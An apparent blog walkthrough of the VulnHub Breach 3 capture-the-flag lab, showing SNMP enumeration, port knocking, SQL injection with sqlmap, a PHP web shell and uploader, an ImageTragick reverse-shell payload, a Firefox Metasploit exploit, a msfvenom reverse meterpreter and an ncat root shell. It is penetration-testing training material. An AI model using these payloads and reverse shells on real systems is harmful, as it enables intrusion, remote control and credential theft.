VulnHub Breach 3 Solution

For background information on this series of CTFs you may want to read this page. Or if your just after my solution please keep reading.

Breach 3.0.1


Breach is the third in a series of boot2roots released by mrb3n on the vulnhub platform. It follows on from  2 previous challenges and maintains the same scenario. We are advised to keep our notes from Breach 1 and Breach 2 close.


Difficulty - Intermediate

This is a long one and I don’t like splitting things in to separate posts if I don’t have to so sorry about that.

My Solution

I start the same way I start all My CTF’s with a full TCP scan of all open TCP Ports. After the scan completes there are 0 open ports. This seems odd but OK. There has to be a way in, so I run and nmap scan again this time looking at common UDP ports. (A Full UDP Scan will take a long time)

This time I get a result. UDP 161 is open. This port is typically reserved for SNMP so let’s have a play.

msf > use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(snmp_enum) > show options
Module options (auxiliary/scanner/snmp/snmp_enum):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMUNITY  public           yes       SNMP Community String
   RETRIES    1                yes       SNMP Retries
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      161              yes       The target port (UDP)
   THREADS    1                yes       The number of concurrent threads
   TIMEOUT    1                yes       SNMP Timeout
   VERSION    1                yes       SNMP Version <1/2c>

msf auxiliary(snmp_enum) > set rhosts
rhosts =>
msf auxiliary(snmp_enum) > run

[+], Connected.

[*] System information:

Host IP                       :
Hostname                      : Initech-DMZ01
Description                   : Linux Initech-DMZ01 4.4.0-45-generic #66~14.04.1-Ubuntu SMP Wed Oct 19 15:05:38 UTC 2016 x86_64
Contact                       : Email: Milton@breach.local - (545)-232-1876
Location                      : Initech - is this thing on? I doubt anyone thinks to look here, anyways, I've left myself a way back in and burn the place down once again.
Uptime snmp                   : 4 days, 01:15:30.14
Uptime system                 : 4 days, 01:15:16.79
System date                   : 2017-3-29 12:50:35.0

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(snmp_enum)>

Looks like Milton left a back door, but there were no open ports for this. I left a few tools running to try and brute force a private string without success. There must be a clue in the text.

The phone number is actually a port knock sequence.

knock 545 232 1876

Run NMAP again on TCP ports and we start to see some results.

Discovered open port 23/tcp on
Discovered open port 22/tcp on
Discovered open port 10008/tcp on
Discovered open port 5800/tcp on
Discovered open port 10007/tcp on
Discovered open port 10009/tcp on

OK lets go looking for Milton’;s backdoor.

root@TechKali:~/breach3# nc 23
I used to have a backdoor here but they closed it down around when they moved my desk into the basement.
I'm going to burn this one down too


His old one is shutdown but there seems to be a new one running on port 5800

nc 5800

gives us a nice menu to play with.

The shell is gone, but tcpdump and some network information is there. Before I started looking at this I wanted to take a closer look at the other ports.

root@TechKali:~# nc 10007
root@TechKali:~# nc 10008
Prototype unit 0001 is ready to accept programming
root@TechKali:~# nc 10009
Debian GNU/Linux 7
Login: 12345
Password: admin

This is definitely trolling me its very quickly clear that this is some sort of honeypot, a quick search of the phrase “Prototype unit 0001 is ready to accept programming” Which is a quote from Star Trek Voyager :) and we can tell that this is honeypy.

SSH has a banner

root@TechKali:~/breach3# ssh root@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:fnTQLT9eSVjVGn/PkedVnuPd0iX7bmuH23IiqMGwd5c.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
*                                                                    * 
*          The Bobs Cloud Hosting, LLC. Secure Backdoor              *
*                                                                    * 
*                                                                    *
*  If you wish to discuss cloud hosting options, give us a call at   *
*                                                                    *
*   555-423-1800 or email us at   *
*                                                                    * 
root@'s password: 


Which looks like we have another knock sequence.

root@TechKali:~/breach3# knock 555 423 1800

Another NMAP Scan and the current ports close leaving us with port 8 http open

Navigating to the site it’s configured for basic auth. I spend a lot of time trying to brute force the basic auth, verb tampering and dir scanning but nothing was letting me in.

I went back to the beginning looking for more clues and remembered I had to

keep your notes close from the previous 2 challenges

So I went back through all my note for breach 1 and 2. I had a password for Milton that was retrieved from an SQL Dump. **milton|thelaststraw**


Following the link in the list we get to a web portal for thebobs hosting service

There is a login form, this could mean SQL Injection or default creds, so I throw a word list at the POST handler using zap (Far easier than hydra in my opinion) and fire up sqlmap to play with the injection.

It took me a long time and many iterations to get sqlmap running effectively. There was some sort of WAF behaviour that would block types of requests, after a lot of trial and error with tamper scripts I found one that worked and was redirecting me off to an admin page.

[23:57:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[23:57:43] [INFO] testing 'Oracle AND time-based blind'
[23:57:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
sqlmap got a 302 redirect to ''. Do you want to follow? [Y/n] 
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] 
[23:58:27] [INFO] target URL appears to be UNION injectable with 3 columns

After this break through I tried to enumerate some tables but would only ever get partial data results. It wasn’t until I read back over all the output from sqlmap I found my solution.

drop-set-cookie With this flag set I was in the clear and dumping tables. The full string I eventually used is as follows. This was put together after a lot of trial and error.

sqlmap# ./ --tamper=equaltolike --dbms=mysql --auth-type=basic --auth-cred=milton:thelaststraw --level=3 --risk=3 -u "" --data="username=me&password=me&submit=+Login+" -p password --drop-set-cookie --threads=10 -D thebobs --dump

available databases [5]:
[*] backups
[*] information_schema
[*] mysql
[*] performance_schema
[*] thebobs

thebobs and backups are not standard database names so lets dump them.

sqlmap# ./ --tamper=equaltolike --dbms=mysql --auth-type=basic --auth-cred=milton:thelaststraw --level=3 --risk=3 -u "" --data="username=me&password=me&submit=+Login+" -p password --drop-set-cookie --threads=10 -D thebobs --dump

Database: thebobs
Table: login
[1 entry]
| id | username | password                                 |
| 1  | admin    | 8f4fadb24304d60d9dcb1589aa6a5c2d2d373229 |
root@Kali:~/sqlmap# ./ --tamper=equaltolike --dbms=mysql --auth-type=basic --auth-cred=milton:thelaststraw --level=3 --risk=3 -u "" --data="username=me&password=me&submit=+Login+" -p password --drop-set-cookie --threads=10 -D backups --dump


[3 entries]
| id | username  | password                                                                     | comments                                                         |
| 1  | blumbergh | Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K | Trying out a new encryption method, not in production yet        |
| 2  | milton    | thelaststraw                                                                 | Account disabled after he went off the rails. No need to encrypt |
| 3  | root      | ?                                                                            | :)                                                               |

We also grab the mysql users table.

Database: mysql
Table: user
[4 entries]
| password                                  |
| <blank>                                   |
| <blank>                                   |
| <blank>                                   |
| *A297BC82D05D50F2585125EB736CFF18ACE32770 |
Database: mysql
Table: user
[4 entries]
| user             |
| debian-sys-maint |
| root             |
| root             |
| root             |

Now to start cracking some passwords.

mysql root is **blank** so that’s easy.

blumbergh is a base64 string after 5 rounds of decoding we get C0ff33stainS

the admin password looks like sha1 based on its length. has this one in its dataset and is randomhash

Trying combinations of these on the admin portal was still not letting me in. So when is a hash not a hash? When its a password. This was accidental, I pasted the hash instead of the plain text for randomhash and it let me in. The admin password is 8f4fadb24304d60d9dcb1589aa6a5c2d2d373229 not its clear text.

Another web portal this one has a lot more substance to it.

After running dirbuster and getting zap to spider the site we end up with a list of php pages, most of them seem basic enough, the only ones with form fields area support page and livechat.php

After playing around with injecting data in to the forms we can see some strings rendering on the page. :),  ;),  try harder amongst others. The end result being a command injection vulnerability. ls

It’s not what you would call easy to read the output so I grab myself a really simple php command exec script, base64 encode it and push it up.

root@TechKali:~/breach3# echo '<?php echo shell_exec($_GET['e']); ?>' | base64
root@TechKali:~/breach3# PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUW2VdKTsgPz4K | base64 -d > shell.php

then browse to /shell.php?e=ls If you view page source on this page and run commands from there you get some nice formatting of your results.

I also use the same method to upload a simple file uploader. Base64 and then pipe out to a file. It’s important to note that if your base64 string includes + you will need to url encode everything to stop it breaking.

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Yup<b><br><br>'; }
else { echo '<b>Nope</b><br><br>'; }

You can then use this uploader to push a better shell or something like c99 shell.

Ok now we tools in place lets see what we have.

uid=1003(samir) gid=1003(samir) groups=1003(samir),27(sudo>

Sudo looks interesting

sudo -l 
Matching Defaults entries for samir on Initech-DMZ01: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User samir may run the following commands on Initech-DMZ01: (thebobs) NOPASSWD: /bin/chmod

I can change permissions as bob. That sounds vaguely useful.

I try to get an interactive netcat shell back to my host but it seems outbound connections and ping are being blocked somewhere.

instead lets look for low hanging fruit. One of the first things I do on access is to run  find / > /tmp/dirs.txt to list all files and folders. This time I just output to dirs.txt so I can download it from the webroot.

There are a lot of interesting files and some files just to lead us off the garden path like /home/troll/passwords.txt

There is a flag in bobs home dir and we could change the permissions on this file using our sudo access in order to read this file. Of more interest however are the public and private keys in bobs .ssh folder


If I can add my own key to authorised keys I can simply ssh on to the box. And as I have access to change permissions on bobs file this seems achievable.

First generate a key on my host using ssh-keygen -t rsa and follow the prompts NOT setting a password on this key. Then use my command access to:

Encode and upload the public key|%20base64%20-d%20%3E%20/home/thebobs/.ssh/authorized_keys

Set Permissions sudo -u thebobs chmod 600 /home/thebobs/.ssh/authorized_keys sudo -u thebobs chmod 700 /home/thebobs/.ssh

If you make a mistake simply reset permissions on .ssh and authorized keys to 777 and start again.

With keys in place I can now connect using a standard SSH client.

root@TechKali:~/breach3# ssh thebobs@ -i breach_rsa Python shell thats new.

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Tue Nov  8 13:36:07 2016 from
Python 2.7.6 (default, Jun 22 2015, 17:58:13) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.

I like to use python to spawns a tty shell from netcat normaly to this was easy in the interpreter

Type "help", "copyright", "credits" or "license" for more information.
>>> import pty
>>> pty.spawn("/bin/bash")
thebobs@Initech-DMZ01:~$ ls

From here I drop one of my favourite enumeration scripts from linux-local-enum. The output is massive but there is a lot of useful information contained within.

From basic enumeration of the box, ps aux, netstat taunp, ifconfig it was clear this host was running 2 virtual machines.

. . . SNIP . . . 

libvirt+   1665  0.0  0.1  28208  2292 ?        S    11:35   0:00 /usr/sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/default.conf
root       1668  0.0  0.0      0     0 ?        S    11:35   0:00 [kauditd]
libvirt+   1687  9.6 24.2 1234444 492720 ?      Sl   11:35   2:55 /usr/bin/qemu-system-x86_64 -name Initech.local01 -S -machine pc-i440fx-trusty,accel=tcg,usb=off -m 512 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid ea47e301-6c0b-d113-184a-d81fc81ecd4c -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/Initech.local01.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -boot order=c,menu=on,strict=on -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -drive file=/var/lib/libvirt/images/Initech.local01.img,if=none,id=drive-ide0-0-1,format=qcow2 -device ide-hd,bus=ide.0,unit=1,drive=drive-ide0-0-1,id=ide0-0-1 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:ee:14:51,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -device usb-tablet,id=input0 -vnc -device cirrus-vga,id=video0,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x5
libvirt+   1706 17.0 30.0 1234848 610692 ?      Sl   11:35   5:12 /usr/bin/qemu-system-x86_64 -name bill-desktop -S -machine pc-i440fx-trusty,accel=tcg,usb=off -m 512 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid 801852d0-a01d-5485-c40e-2a7049999329 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/bill-desktop.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -boot order=c,menu=on,strict=on -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -drive file=/var/lib/libvirt/images/bill-desktop-2.img,if=none,id=drive-ide0-0-0,format=qcow2 -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:f7:3c:ef,bus=pci.0,addr=0x3 -netdev tap,fd=25,id=hostnet1 -device virtio-net-pci,netdev=hostnet1,id=net1,mac=52:54:00:4b:73:5f,bus=pci.0,addr=0x6 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -device usb-tablet,id=input0 -vnc -device cirrus-vga,id=video0,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x5
samir      1759  0.0  0.6 279008 12924 ?        S    11:37   0:00 /usr/sbin/apache2 -k start
samir      1761  0.0  0.6 278880 13040 ?        S    11:38   0:00 /usr/sbin/apache2 -k start

. . . SNIP . . . 
  •  /var/lib/libvirt/images/bill-desktop-2.img
  • /var/lib/libvirt/images/Initech.local01.img

I didn’t have permissions to access libvirt or these images to pull them down so I started looking at them from a network perspective nmap was on the box but was not returning any results I could verify there where some active VM’s with an arp scan.

thebobs@Initech-DMZ01:~$ arp -a
? ( at 52:54:00:ee:14:51 [ether] on virbr0
? ( at 52:54:00:f7:3c:ef [ether] on virbr0

But no open ports responding. This is when my colleague James Hall, who was also running the CTF, discovered that if you port knock the original sequence then it unlocks ping and you can get a successful nmap scan.

knock 545 232 1876

we an also see Milton’s back door is running again.

thebobs@Initech-DMZ01:/etc/libvirt/qemu/networks$ cat /usr/bin/
dialog --menu "Milton's Backdoor" 10 30 3 1 Sysinfo 2 Eavesdrop 3 Shell 2>/tmp/temp

# OK is pressed
if [ "$?" = "0" ]
        _return=$(cat /tmp/temp)
        # /home is selected
        if [ "$_return" = "1" ]
                dialog --title "Grab some quick info" --msgbox "$(uname -a && ifconfig eth0)" 100 100
         # /root is selected
        if [ "$_return" = "2" ]
                dialog --title "See what everyone is up to back at Initech" --msgbox "$(tcpdump -i eth0)" 100 100
         # /tmp is selected
        if [ "$_return" = "3" ]
                dialog --title "Drop into a system shell" --msgbox "$(echo "Yeaaaa! We shutdown this backdoor. Did we get the telnet one too? It keeps popping up somehow.")" 100 100
# Cancel is pressed
        echo "Cancel is pressed"
# remove the temp file
rm -f /tmp/temp

#iptables -A INPUT -i eth0 -p tcp --dport 23 -m state --state NEW,ESTABLISHED -j ACCEPT
#iptables -A OUTPUT -o eth0 -p tcp --sport 23 -m state --state NEW,ESTABLISHED -j ACCEPT

We don’t have any permissions to edit this which is a shame. But anyway with network traffic once again at my command I send nmap off to the VM interface.

thebobs@Initech-DMZ01:~$ nmap -p- -T4 -A
Starting Nmap 6.40 ( ) at 2017-03-27 03:34 EDT

Nmap scan report for
Host is up (0.00067s latency).
All 65535 scanned ports on are closed

Nmap scan report for
Host is up (0.00093s latency).
Not shown: 65532 closed ports
22/tcp   open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
8800/tcp open  http    nginx 1.6.2
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Basic realm=Restricted Area
|_http-methods: No Allow or Public header in OPTIONS response (status code 401)
|_http-title: 401 Authorization Required
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 256 IP addresses (2 hosts up) scanned in 313.37 seconds

28 has no open ports and may need some knocking somewhere but 65 is looking promising.

The easiest way to get access to this internal IP range is to create an SSH socks proxy to the host that can forward our traffic. This is as simple as:

Creating the proxy tunnel with ssh

root@TechKali:~/breach3# ssh -i breach_rsa -D 9000 thebobs@

and then configuring my browser to proxy traffic through localhost port 9000

To maintain internet access I use foxyproxy with rules in order to manage my settings.

From here I just enter in my browser and the proxy routes me to the correct destination.

port 8800 is behind more basic auth. But port 80 has accessible pages.

There is an admin panel with a login form and pdf uploader among the pages. after throwing creds at the admin page with no luck I play with the pdf uploader

I start pushing files up and notice its trying to create an image from my files. A quick search for php pdf to image returns a lot of results for ImageMagick, which had a high profile vulnerability named ImageTragic last year.

There is plenty of POC code on the website so I start throwing some at the uploader.

XML Parsing Error: not well-formed
Line Number 5, Column 46:<g style="fill:";|ls "-la;</g>

Error messages are a good sign. it took a few attempts but finally I got a working reverse shell to come back to me.

push graphic-context
viewbox 0 0 640 480
fill 'url("|mknod /tmp/pipez p;/bin/sh 0</tmp/pipez|nc 1111 1>/tmp/pipez;rm -rf "/tmp/pipez)'
pop graphic-context

Save thats as file.jpg and upload. Took less than a second for my shell to be returned.

root@TechKali:~# nc -l -v -p 1111
listening on [any] 1111 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 54795
python -c 'import pty; pty.spawn("/bin/bash")'

www-data@Initech:/var/www/html/intranet$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The reason the logon page wasn’t working. . .

cat login.php
<!----Nothing to see here--->

Its empty

Anyway on with the show. I run through my usual enumeration and find some interesting files. In this scenario I base64 encoded my dirs.txt file and cat it out to screen. Old school copy paste and decode back on my host to get file listings. I could use netcat and some redirects but anything that needs ctrl keys like CTRL+C will not work in this kind of shell. So I keep it simple.


Looks like we need to be peter to read the next flag.

samir has a hidden notes file that contains the string infosecrockstar. seems passwordy to me. And this lets us in to port 8800

This site looks like it’s a ticketing system. We can see these files in /var/www/html2/support but the interesting ones like db and comment are locked so we can’t see them. Looking at the other php pages we see it’s not very securely coded. I try some basic sql techniques looking for an error page and in response I get my content reflected back to the page and . . .

If you are seeing this you already have a shell, so this doesn’t make sense. Don’t get greedy now

That’s a fair point. Back to being peter. Port 22 is open so lets see whats over there. In order to send ssh through my local proxy I configure proxychains by creating a proxychains.conf file

remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
socks4 9000

then running ssh with proxy chains

root@TechKali:~/breach3# proxychains ssh peter@

No banner and no clues here. Password re-use has been a theme all the way through breach, so I try all the passwords I have collected so far.

Peters old password from breach 1  damnitfeel$goodtobeagang$ta gets me in to another python shell.

root@TechKali:~/breach3# proxychains ssh peter@
ProxyChains-3.1 (
peter@'s password: 
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Python 2.7.9 (default, Jun 29 2016, 13:08:31) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pty
>>> pty.spawn("/bin/bash")
peter@Initech:~$ ls -ahtl
total 28K
-rw------- 1 peter peter   38 Sep 29  2016 flag2
drwxr-xr-x 2 peter peter 4.0K Sep 29  2016 .
-rw------- 1 peter peter  258 Sep 29  2016 .bash_history
drwxr-xr-x 5 root  root  4.0K Sep 29  2016 ..
-rw-r--r-- 1 peter peter  220 Nov 12  2014 .bash_logout
-rw-r--r-- 1 peter peter 3.5K Nov 12  2014 .bashrc
-rw-r--r-- 1 peter peter  675 Nov 12  2014 .profile
peter@Initech:~$ cat flag2

It is asking us about Bill. We know the other VM is bills based on name alone, but there was nothing open, lets see what peter can do and if it gets us any closer to Bil.

peter@Initech:~$ cat .bash_history
cat ticket.php
tail -f /var/log/apache2/access.log
tcpdump -n -i eth0 -s o src or dst port 80
which tcpdump
nc -lvnp 80
cat ticket
cat ticket.php 
cat comment.php 
cat index.php 
nano index.php 
cat comment.php 
cat db.php 

Not going to lie, I spent a fair amount of time wandering round the filesystem poking things with no results. I took a step back and started going over everything I knew.

Bills VM is a desktop, that suggest user. Nothing inbound, so what about outbound? I can’t run tcpdump on anything but I can look at the netstat output for each machine.

Every 2.0s: netstat -taunp                                                                                   Mon Apr  3 13:06:48 2017
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0    *               LISTEN      -
tcp        0      0  *               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0           ESTABLISHED -
tcp        0      0     ESTABLISHED -
tcp        0      0    ESTABLISHED -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::8800                 :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       1      0     CLOSE_WAIT  -
tcp6       0      0     ESTABLISHED -
udp        0      0 *                           -
udp        0      0    *                           -
udp6       0      0 :::14531                :::*                                -

There we have it .28 is connecting to 65 on port 8800. It looks to cycle every 3 minutes. Now just to find out which page its connecting to so we can get a web hook in there.

From our sql attempts earlier we saw we could control the content that appears in the tickets.php page by submitting tickets. Lets see if we can get an XSS in there.

As a simple test I inject a basic iframe in to the comments field. This iframe is designed to connect back to a netcat listener I have running.

<iframe src=""></iframe>

And after a couple of minutes we get our confirmation.

root@TechKali:~/breach3# nc -l -v -p 8000
listening on [any] 8000 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 51645
GET /sample.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

The NAT from the host machine is obscuring the real source address but we can see that a browser is connecting back to us. The UA string identifies it as Firefox version 22. Which is lucky as it has a couple of vulnerabilities included in Metasploit. I try them all in turn, but im only showing the one that ended up giving me a shell. firefox\_tostring\_console_injection

Fire up msfconsole, select and configure our exploit.

f exploit(firefox_webidl_injection) > use exploit/multi/browser/firefox_tostring_console_injection
msf exploit(firefox_tostring_console_injection) > show options
Module options (exploit/multi/browser/firefox_tostring_console_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CONTENT                   no        Content to display inside the HTML <body>.
   Retries  true             no        Allow the browser to retry the module
   SRVHOST          yes       The local host to listen on. This must be an address on the local machine or
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Exploit target:

   Id  Name
   --  ----
   0   Universal (Javascript XPCOM Shell)

msf exploit(firefox_tostring_console_injection) > set srvhost
srvhost =>
msf exploit(firefox_tostring_console_injection) > set uripath hWqaDKIMv6YW
uripath => hWqaDKIMv6YW
msf exploit(firefox_tostring_console_injection) > set lhost
lhost =>
msf exploit(firefox_tostring_console_injection) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 
[*] Using URL:
[*] Server started.

Then wait.

msf exploit(firefox_tostring_console_injection) > 
[*]     firefox_tostring_console_injection - Gathering target information for
[*]     firefox_tostring_console_injection - Sending HTML response to
[*] Command shell session 1 opened ( -> at 2017-04-03 22:28:46 +0100
sessions -l

Active sessions

  Id  Type                   Information  Connection
  --  ----                   -----------  ----------
  1   shell firefox/firefox      -> (

msf exploit(firefox_tostring_console_injection) > sessions -i 1
[*] Starting interaction with 1...


xvfb-run --auto-servernum --server-num=1 /opt/firefox/firefox
uid=1001(lazyadmin) gid=1001(lazyadmin) groups=1001(lazyadmin)

The shell is not stable, the browser only stays connected for a minute, and it can take a couple of connections to get it back each time. While I am waiting for my shell to come back I prepare a meterpreter binary to send over.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=1234 -f elf > shell.elf

Set a second listener

msf exploit(firefox_tostring_console_injection) > use exploit/multi/handler      
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost
lhost =>
msf exploit(handler) > set lport 1234
lport => 1234
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 
[*] Starting the payload handler...
msf exploit(handler) > jobs -l


  Id  Name                                                       Payload                            Payload opts
  --  ----                                                       -------                            ------------
  3   Exploit: multi/browser/firefox_tostring_console_injection  generic/shell_reverse_tcp          tcp://
  4   Exploit: multi/handler                                     linux/x86/meterpreter/reverse_tcp  tcp://

The as soon as the Firefox shell spawns we can transfer it from my local webserver and execute it as a background task

chmod +x shell.elf
./shell.elf &

I see the session connect back then I can close the shell and switch to my new meterpreter session. :)

The end is finally in sight. I start with my normal enumeration and find there are two users. lazyadmin and blumbergh! Is this it can I finally make use of his password  C0ff33stainS

lazyadmin@bill-desktop:/home/lazyadmin$ su - blumbergh
Password: C0ff33stainS
-su: cannot set terminal process group (655): Inappropriate ioctl for device
-su: no job control in this shell
blumbergh@bill-desktop:~$ ls
blumbergh@bill-desktop:~$ id
uid=1000(blumbergh) gid=1000(blumbergh) groups=1000(blumbergh),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Yes we can. The directory listing show a single file swingline.

file the file here

Running the file doesn’t reveal a lot to us.

blumbergh@bill-desktop:~$ ./swingline
This is the last straw, I'm burning the building down.

So I transfer it to my box by catting it to base64 in the terminal window, copy / paste and decode on my local box.

I start with a simple ltrace which gives me almost everything I need. We can see setuid(0)  That means this probably runs as root. We see it print out the last straw statement and then we see it tries to run a netcat shell on ipv6.  ncat -6 -e /bin/bash 0:0:0:0:0:0  But we have no idea what port its running on.

This is easy enough to solve. Run wireshark then run the file.

Looks like port 8889 we can confirm this on our local box by opening a listener and then running swingline

root@TechKali:~/breach3# ncat -6 -l -v -p 8889
Ncat: Version 7.40 ( )
Ncat: Listening on :::8889
Ncat: Connection from ::1.
Ncat: Connection from ::1:48842.
uid=0(root) gid=0(root) groups=0(root)

Yup pops us a root shell :) In order to get this running on the VM we need to open two sessions. So I use the meterpreter shell to start the listener. And then one of the spawned Firefox shells that are still coming in to run the file.

And that’s that.

ncat -6 -lvvp 8889
uid=0(root) gid=1000(blumbergh) groups=1000(blumbergh),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Lets find our last flag

find / -name flag3.txt
/root/Desktop/ / /flag3.txt
cat /root/Desktop/ / /flag3.txt
cd /root/
cat burn.txt
               (  .      )
           )           (              )
                 .  '   .   '  .  '  .
        (    , )       (.   )  (   ',    )
         .' ) ( . )    ,  ( ,     )   ( .
      ). , ( .   (  ) ( , ')  .' (  ,    )
     (_,) . ), ) _) _,')  (, ) '. )  ,. (' )

Flag 3 is buried in directories that would need some command line escaping in order to get there or we can just use the exec flag in find to read it for us :)

find / -name flag3.txt
/root/Desktop/ / /flag3.txt
find /root/Desktop/ -exec cat {} +
 ____                      _       ____             _______ _            ______           _ 
|  _ \                    | |     |___ \           |__   __| |          |  ____|         | |
| |_) |_ __ ___  __ _  ___| |__     __) |  ______     | |  | |__   ___  | |__   _ __   __| |
|  _ <| '__/ _ \/ _` |/ __| '_ \   |__ <  |______|    | |  | '_ \ / _ \ |  __| | '_ \ / _` |
| |_) | | |  __/ (_| | (__| | | |  ___) |             | |  | | | |  __/ | |____| | | | (_| |
|____/|_|  \___|\__,_|\___|_| |_| |____/              |_|  |_| |_|\___| |______|_| |_|\__,_|

Congratulations on reaching the end! But is this the end? Or will there be more? Time will tell. For now I am going to sit on the beach and sip an umbrella drink with Milton.

If you completed the whole series, I hope you enjoyed it and learned some new things. My goal was to create some unique, progressively more difficult, challenges to showcase some real-world vulnerabilities in a fun/slightly frustrating manner.

Huge thanks goes to knightmare for his assistance along the way with all 3 of these VMs, especially the advice on emulation and disc space optimization as well as countless rounds of testing. 

Also shout-out to g0blin, Rand0mByteZ, mr_h4sh and vdbaan for testing this VM.

As always, thank you to g0tmi1k and the entire vulnhub crew for hosting these challenges and maintaining this amazing community.

Some words of advice: no one started as an expert, at some point you were stuck and someone helped you out. Don't be a dick. Pay it forward. 

If you are new or trying to break in, learn how to ask questions. Show that you've done your research first and most people will be more than willing to help.

Until next time.



Just to echo the sentiments of mrb3n big thanks to all those who continue to create and through creation teach the infosec community.

As usual Questions, Queries, Comments below.